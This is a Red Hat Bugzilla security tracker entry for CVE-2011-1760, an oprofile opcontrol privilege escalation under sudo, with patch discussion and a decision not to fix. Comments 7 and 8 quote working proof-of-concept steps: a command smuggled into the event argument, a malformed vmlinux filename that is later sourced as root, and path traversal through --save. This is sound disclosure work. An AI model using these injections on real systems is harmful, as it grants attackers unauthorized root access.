Bug 700883 (CVE-2011-1760) - CVE-2011-1760 oprofile: Local privilege escalation via crafted opcontrol event parameter
Summary: CVE-2011-1760 oprofile: Local privilege escalation via crafted opcontrol even...
Alias: CVE-2011-1760
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
Target Milestone: ---
Assignee: Red Hat Product Security
QA Contact:
Depends On: 701504 701505 701506 701507 701508
Blocks: 711681
TreeView+ depends on / blocked
Reported: 2011-04-29 17:56 UTC by Jan Lieskovsky
Modified: 2021-02-24 15:32 UTC (History)
4 users (show)

Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Clone Of:
Last Closed: 2011-07-29 10:41:04 UTC

Attachments (Terms of Use)
0001-Sanitize-Event-Names.patch (910 bytes, patch)
2011-05-16 21:29 UTC, William Cohen
no flags Details | Diff
0002-Ensure-that-save-only-saves-things-in-SESSION_DIR.patch (1.07 KB, patch)
2011-05-16 21:30 UTC, William Cohen
no flags Details | Diff
0003-Avoid-blindly-source-SETUP_FILE-with.patch (1.45 KB, patch)
2011-05-16 21:30 UTC, William Cohen
no flags Details | Diff
0004-Do-additional-checks-on-user-supplied-arguments.patch (4.14 KB, patch)
2011-05-16 21:31 UTC, William Cohen
no flags Details | Diff

Description Jan Lieskovsky 2011-04-29 17:56:09 UTC
It was found that oprofile profiling system did not properly sanitize
the content of event argument, provided to oprofile profiling control
utility (opcontrol). If a local unprivileged user was authorized by
sudoers file to run the opcontrol utility, they could use the flaw
to escalate their privileges (execute arbitrary code with the privileges
of the privileged system user, root). Different vulnerability than

[1] http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=624212

Comment 1 Jan Lieskovsky 2011-04-29 17:58:24 UTC
This issue did not affect the version of the oprofile package,
as shipped with Red Hat Enterprise Linux 4.

This issue affects the versions of the oprofile package, as shipped
with Red Hat Enterprise Linux 5 and 6.

This issue affects the versions of the oprofile package, as shipped
with Fedora release of 13 and 14.

Comment 3 Jan Lieskovsky 2011-04-29 18:16:18 UTC
CVE Request:
[2] http://www.openwall.com/lists/oss-security/2011/04/29/3

Comment 4 Huzaifa S. Sidhpurwala 2011-05-03 03:30:28 UTC
This has been assigned CVE-2011-1760

Comment 6 Huzaifa S. Sidhpurwala 2011-05-03 03:35:16 UTC
Created oprofile tracking bugs for this issue

Affects: fedora-all [bug 701508]

Comment 7 Jan Lieskovsky 2011-05-03 08:33:04 UTC
Original public PoC / scenario from Stephane Chauveau (issue reporter):
(from [3] http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=624212#5)

$ sudo opcontrol -e "abcd;/usr/bin/id"
uid=0(root) gid=0(root) groups=0(root)
No such event "abcd"

Comment 8 Jan Lieskovsky 2011-05-03 08:34:40 UTC
Stephane also reported [4] two more ways how to exploit this:

I just found 2 more ways to execute arbitrary commands via sudo opcontrol

################# Method 1 ##################

The problem is in the functions do_save_setup() where multiple values 
are saved in the shell script /root/.oprofile/daemonrc.

That file is sourced in do_load_setup() by later invocations of opcontrol.

The function do_save_setup() does not sanitize the values and thus 
allows do_load_setup() to execute arbitrary commands.

There is even a comment in do_load_setup that indicates that the method 
is known to be insecure

Here is a possible method using the --vmlinux option:

(1) create a fake vmlinux file with a 'malformed' name

#  touch "$HOME/abcd;id"

(2) start the oprofile daemon using that vmlinux file. This creates the 
daemonrc file

# sudo opcontrol   --vmlinux="$HOME/aaaa;id"

(3) Any invocation of opcontrol will now source the malformed daemonrc 
file as root.

# sudo opcontrol   --stop
uid=0(root) gid=0(root) groups=0(root)
Daemon not running

(4) The daemonrc file can be cleared with

# sudo opcontrol   --no-vmlinux

The same trick can probably be used with the --session-dir and --xen 

################# Method 2 ##################

The --save=name option is moving samples/current to samples/name in the 
current session directory.

A proper combination of  --session-dir and --save can be used to copy a 
file to any location.

The following example shows how to create a file /etc/XXX

(1) Create a 'samples' directory

# mkdir -p /tmp/xxx/samples

(2) Create a file named 'current' in that directory

# echo "my_commands" > /tmp/xxx/samples/current

(3) Set the oprofile session directory to the root of the 'samples' 

# sudo opcontrol --session-dir=/tmp/xxx

(4)  Execute --save with a path relative to the 'current' file

#  sudo opcontrol --save=../../../etc/XXX


[4] http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=624212#14

Comment 9 William Cohen 2011-05-16 21:29:10 UTC
Created attachment 499232 [details]

Comment 10 William Cohen 2011-05-16 21:30:06 UTC
Created attachment 499233 [details]

Comment 11 William Cohen 2011-05-16 21:30:46 UTC
Created attachment 499234 [details]

Comment 12 William Cohen 2011-05-16 21:31:19 UTC
Created attachment 499235 [details]

Comment 16 Vincent Danen 2011-07-07 22:07:24 UTC
Jamie Strandboge noted that one of the patches reverts a change made in the previous patch.  Was it intentional?

Quoting from http://www.openwall.com/lists/oss-security/2011/07/07/6 :

Thanks for these patches. I was reviewing them and noticed that 0003-Avoid-blindly-source-SETUP_FILE-with.patch undoes the 'error_if_not_basename $arg $val' for --save added in 0002-Ensure-that-save-only-saves-things-in-SESSION_DIR.patch such that if you apply all 4 patches, method #2 from the Debian bug[1] is no longer fixed. Attached is a patch to correct this (to be applied after the other 4).

[1] http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=624212#14

Comment 17 Vincent Danen 2011-07-07 22:10:09 UTC
Sorry, the above comment is probably more pertinent to CVE-2011-2472 than this (although the patch is attached to this bug).

Comment 18 Huzaifa S. Sidhpurwala 2011-07-29 10:01:08 UTC
OProfile was not designed to work safely with sudo as suggested by upstream at:

Fixing this issue is likely to break a lot of use case where opcontrol is started by non-root user via sudo, and make OProfile less usefull. We recommend not to grant sudo access for the opcontrol script to untrusted users.

Comment 19 Huzaifa S. Sidhpurwala 2011-07-29 10:01:48 UTC

Red Hat currently does not plan to address this issue. For details refer to: https://bugzilla.redhat.com/show_bug.cgi?id=700883#c18

Note You need to log in before you can comment on or make changes to this bug.